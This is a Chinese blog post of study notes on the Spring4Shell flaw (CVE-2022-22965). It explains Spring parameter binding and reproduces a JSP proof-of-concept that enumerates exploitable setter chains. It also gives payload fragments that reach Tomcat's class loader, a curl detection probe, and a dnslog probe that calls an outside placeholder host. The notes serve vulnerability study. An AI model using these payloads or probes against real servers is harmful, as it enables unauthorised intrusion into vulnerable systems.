• CVE202222965 学习笔记


    参考:

    http://rui0.cn/archives/1158

    https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965

    https://xz.aliyun.com/t/11129

     

    什么是javaBean,我的理解是MVC开发模式中处于Moudel层的类可以称为一个javabean,就像下面这样的,他们的属性都是private但是可以通过getter和setter方法进行获取和修改

    public class Person {
        private String name;
        private Integer age;
        public Person() {
        }
        public String getName() {
            return this.name;
        }
        public void setName(String name) {
            this.name = name;
        }  
        public Integer getAge() {
            return this.age;
        } 
        public void setAge(Integer age) {
            this.age = age;
        }
    }

    下面说明什么是spring的“参数绑定”,“参数绑定”简单理解就是,传入的参数怎么给到controller层去自动处理不需要做出多余的操作,举个例子:

    外部传入参数:hello/?name=timerzz&age=233,后端接收到了这个数据怎么处理?

     

    不使用参数绑定是这样的(伪代码)

    name = req.getParamter("name");
    age = req.getParamter("age");

    如果传了100个参数,那就要写100行类似的代码来接受!这显然不科学,但有了参数绑定后,后端的接收代码就变成了这样,这时候传入的name=timerzz&age=233,会“自己”调用Person的setter方法完成相关属性的赋值

    @GetMapping({"/hello"})
    public String index(Person person) {
        System.out.println(person);
        System.out.println("name: " + person.getName());
        System.out.println("age: " + person.getAge());
        return "hello";
    }

    下面是参数绑定的过程(跟一遍就知道了)这里给一个调用栈,测试环境:https://github.com/vulhub/vulhub/tree/master/base/spring/spring-webmv

    上面为了流程简化,传入的是一个单独的属性,少了几个栈帧,这和我们熟知的payload长得不太一样,但是这样更方便理解

     

    下面开始正题,传入class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT为啥可以?

     

    根据上面说的,我们传入的key=value键值对,调用的是setter方法,但是我们明明没有class.module.classLoader.resources.context.parent.pipeline.first.directory这个属性啊,我们只有name和age

     

    这里有两个知识点:

    • java类自带一个class属性,他们都有getClass()方法,返回的的就是一个Class对象,
    • springmvc嵌套属性的参数绑定,大致过程描述一下:person.name=timerzz,这样的单一参数绑定调用的是person.setName(),像person.parent.name这样的,属性里套属性的称为嵌套属性,person.parent.name=xxx为的是给name赋值,调用的就是person.getParent().setName(),简单理解就是为name赋值,但是前面有一个很长的前缀,这些前缀里的属性用getter获取就好了。

    嵌套属性是通过如下递归调用获得的org/springframework/beans/AbstractNestablePropertyAccessor.java#getPropertyAccessorForPropertyPath感兴趣可以跟一下,就像上面说的,反正最后都是给name赋值,管他前缀多长(当然这个前提是这个属性得存在)

    有了上面两点,回头看看payload,我们可以传入一个class(pojo对象有这个属性)然后调用他的getClassLoader获得一个classLoader,向上转型获得父加载器的ClassLoader(tomcat相关的配置属性存放的classLoader org.apache.catalina.loader.ParallelWebappClassLoader),从而改变一些全局的属性,比如上面的class.module.classLoader.resources.context.parent.pipeline.first.directory

    最后就是jdk版本的问题,因为jdk9以前过滤了class.classloader,而jdk9以后加入了一个module属性它可以调用getClassLoder,从而绕过了当初的过滤代码,如下:

    tomcat还有其他很多嵌套属性,获取嵌套属性的方式:

    https://github.com/julianvilas/rooted2k15/blob/a00055f906502dd038b908a84907b74b38e26b20/struts-tester/struts-tester.jsp

    <!--
    
    This PoC gives a list of payloads that can be used to modify data in the
    context of a Struts web application that is vulnerable to CVE-2014-0094 or
    CVE-2014-0114. The results depend on the container that executes the
    application. Is a customized version for the PoC posted by "neobyte" at
    http://sec.baidu.com/index.php?research/detail/id/18
    
    Instructions:
    1.- Modify the imports to match the actions of your Struts application
    2.- In main modify the initarget to match an Action / ActionForm of
    your Struts app
    3.- Add the JSP to your Struts app
    4.- Deploy your app in an application server
    5.- Access the JSP with a browser
    5.1.- Add "debug=true" to the parameters for getting debug info
    5.2.- Add "cmd=[all|allp|meth]" to run one of the alternative commands,
    useful when looking for RCE
    5.3.- Add "poc=" + with a chain of previously called getters to reach
    current object
    
    -->
    
    <!-- Struts 2.x example -->
    <!-- Import the class of the initarget Action -->
    <%@ page language="java" import=
            "java.lang.reflect.*, com.timerzz.controller.*" %>
    <%@ page import="com.timerzz.model.Person" %>
    
    <!-- Struts 1.x example -->
    <!-- Import the class of the initarget ActionForm -->
    <%--@ page language="java" import=
        "java.lang.reflect.*, com.vaannila.*" --%>
    
    <%!
        /* Find all the "set" methods that accept exactly one parameter (String,
         ** boolean or int) in the given Object, or in Objects that can be reached via
         ** "get" methods (without parameters) in a recursive way
         **
         ** Params:
         ** - Object instance : Object to process
         ** - javax.servlet.jsp.JspWriter out : Where the results will be printed
         ** - java.util.HashSet set : Set of previously processed Objects
         ** - String poc : Chain of previously called getters to reach current object
         ** - int level : Current level of recursion
         ** - boolean debug: print extra debug information for candidates
         */
        public void processClass(
                Object instance,
                javax.servlet.jsp.JspWriter out,
                java.util.HashSet set,
                String poc,
                int level,
                boolean debug) {
    
            try {
    
                if (++level > 15) {
                    return;
                }
    
                Class<?> c = instance.getClass();
                set.add(instance);
                Method[] allMethods = c.getMethods();
    
                /* Print all set methods that match the desired properties:
                 ** - exactly 1 parameter (String, boolean or int)
                 ** - public modifier
                 */
                for (Method m : allMethods) {
                    if (!m.getName().startsWith("set")) {
                        continue;
                    }
    
                    if (!m.toGenericString().startsWith("public")) {
                        continue;
                    }
    
                    Class<?>[] pType  = m.getParameterTypes();
                    if(pType.length!=1) continue;
    
                    if(pType[0].getName().equals("java.lang.String")
                            || pType[0].getName().equals("boolean")
                            || pType[0].getName().equals("int")) {
    
                        String fieldName = m.getName().substring(3,4).toLowerCase()
                                + m.getName().substring(4);
    
                        /* Print the chain of getters plus the candidate setter in a
                         ** format that can be directly used as a PoC for the Struts
                         ** vulnerability. Also print the fqdn class name of the
                         ** current Object if debug mode is 'on'.
                         */
                        if (debug) {
                            out.print("-------------------------" + c.getName() + "<br>");
                            out.print("Candidate: " + poc + "." + fieldName + "<br>");
                        }
                        else {
                            out.print(poc + "." + fieldName + "<br>");
                        }
                        out.flush();
                    }
                }
    
                /* Call recursively the current function against (not yet processed)
                 ** Objects that can be reached using public get methods of the current
                 ** Object (without parameters)
                 */
                for (Method m : allMethods) {
                    if (!m.getName().startsWith("get")) {
                        continue;
                    }
    
                    if (!m.toGenericString().startsWith("public")) {
                        continue;
                    }
    
                    Class<?>[] pType  = m.getParameterTypes();
                    if(pType.length!=0) continue;
                    if(m.getReturnType() == Void.TYPE) continue;
    
                    /* In case of problems with reflection use
                     ** m.setAccessible(true);
                     */
                    Object o = m.invoke(instance);
                    if(o!=null)
                    {
                        if(set.contains(o)) continue;
    
                        processClass(o,out, set, poc + "."
                                + m.getName().substring(3,4).toLowerCase()
                                + m.getName().substring(4), level, debug);
                    }
                }
            } catch (java.io.IOException x) {
                x.printStackTrace();
            } catch (java.lang.IllegalAccessException x) {
                x.printStackTrace();
            } catch (java.lang.reflect.InvocationTargetException x) {
                x.printStackTrace();
            }
        }
    
        /*
         ** Print all the method names of a given Object
         */
        public void printAllMethodsNames(
                Object instance,
                javax.servlet.jsp.JspWriter out) throws Exception {
    
            Method[] allMethods = instance.getClass().getMethods();
            for (Method m : allMethods) {
                out.print(m.getName() + "<br>");
            }
        }
    
        /* Print all the method names of a given Object and the number of parameters
         ** that it has
         */
        public void printAllMethodsWithNumParams(
                Object instance,
                javax.servlet.jsp.JspWriter out) throws Exception {
    
            Method[] allMethods = instance.getClass().getMethods();
            for (Method m : allMethods) {
                Class<?>[] pType = m.getParameterTypes();
    
                out.print("Method: " + m.getName() + " with " + pType.length
                        + " parameters<br>");
            }
        }
    
        /* Print the "set" methods that accept exactly one parameter (String,
         ** boolean or int) and the "get" methods (without parameters) in the given
         ** Object
         */
        public void printMethods(
                Object instance,
                javax.servlet.jsp.JspWriter out) throws Exception {
    
            Method[] allMethods = instance.getClass().getMethods();
            for (Method m : allMethods) {
    
                Class<?>[] pType = m.getParameterTypes();
    
                if(m.getName().startsWith("get")
                        && m.toGenericString().startsWith("public")) {
    
                    Class<?> returnType = m.getReturnType();
    
                    if(pType.length == 0) {
    
                        out.print("GET method: " + m.getName() + " of class"
                                + instance.getClass().getName() + " returns "
                                + returnType.getName() + "<br>");
                    }
                }
                if(m.getName().startsWith("set")
                        && m.toGenericString().startsWith("public")) {
    
                    if((pType.length == 1) && (pType[0].getName().equals("java.lang.String")
                            || pType[0].getName().equals("boolean")
                            || pType[0].getName().equals("int"))) {
    
                        out.print("SET method: " + m.getName() + " of class"
                                + instance.getClass().getName() + " with param "
                                + pType[0].getName() + "<br>");
                    }
                }
            }
        }
    
        /* Return the Object that results of resolving the chain of getters described
         ** by the "poc" parameter
         */
        public Object applyGetChain(
                Object initarget,
                String poc) throws Exception {
    
            if(poc.equals("")) {
                return initarget;
            }
    
            String[] parts = poc.split("\\.");
    
            String method = "get" + parts[0].substring(0,1).toUpperCase();
    
            if(parts[0].length() > 1) {
                method += parts[0].substring(1);
            }
    
            Class<?> c = initarget.getClass();
            Method m = c.getMethod(method, null);
    
            /* In case of problems with reflection use
             ** m.setAccessible(true);
             */
            Object o = m.invoke(initarget);
    
            if(parts.length == 1) {
                return o;
            }
    
            String newPoc = parts[1];
    
            for(int i=2; i<parts.length; i++) {
                newPoc.concat("." + parts[i]);
            }
    
            return applyGetChain(o, newPoc);
        }
    
    %>
    
    <%
        /*
         ** MAIN METHOD
         */
        java.util.HashSet set = new java.util.HashSet<Object>();
        String pocParam = request.getParameter("poc");
        String poc = (pocParam != null) ? pocParam : "";
    // Struts 2.x Action
        Person initarget = new Person();    // **********修改为pojo对象*********
    // Struts 1.x ActionForm
    //LoginForm initarget = new LoginForm();
    // Get the target Object as described by poc
        Object target = applyGetChain(initarget, poc);
    // Check for debug mode
        String mode = request.getParameter("debug");
        boolean debug = false;
        if((mode != null) && (mode.equalsIgnoreCase("true"))) {
            debug = true;
        }
    // Switch the command to be executed
        String cmd = request.getParameter("cmd");
        if(cmd != null) {
            if(cmd.equalsIgnoreCase("all")) {
                printAllMethodsNames(target, out);
            } else if(cmd.equalsIgnoreCase("allp")) {
                printAllMethodsWithNumParams(target, out);
            } else if(cmd.equalsIgnoreCase("meth")) {
                printMethods(target, out);
            } else {
                processClass(target, out, set, poc, 0, debug);
            }
        } else {
            processClass(target, out, set, poc, 0, debug);
        }
    %>

    网传还有其他利用方式,比如:

    无损检测:

    curl host:port/path?class.module.classLoader.URLs%5B0%5D=0    # 返回400漏洞存在

    探测dnslog(会影响业务,不推荐)

    class.module.classLoader.resources.context.configFile=http://xxx x.dnslog.cn/t&class.module.classLoader.resources.context.configF ile.content.aaa=xxx

     

    最后spring官方也说了,目前还不清楚其他的服务器是否存在类似的漏洞……有待挖掘,现在还有个问题是payload特征很明显!

  • 相关阅读:
    我是如何用三小时搞出个赚钱产品的?
    搭建一个基于nuxt.js的项目
    栅格系统
    git使用
    通过JS获取屏幕高度,借助屏幕高度设置div的高度
    如何理解盒模型
    e.target.value 和 this 的区别
    组件化设计:弹窗的使用逻辑
    uni-app 入坑记
    MAC 系统快捷键
  • 原文地址:https://www.cnblogs.com/planBinary/p/16108401.html
Copyright © 2020-2023  润新知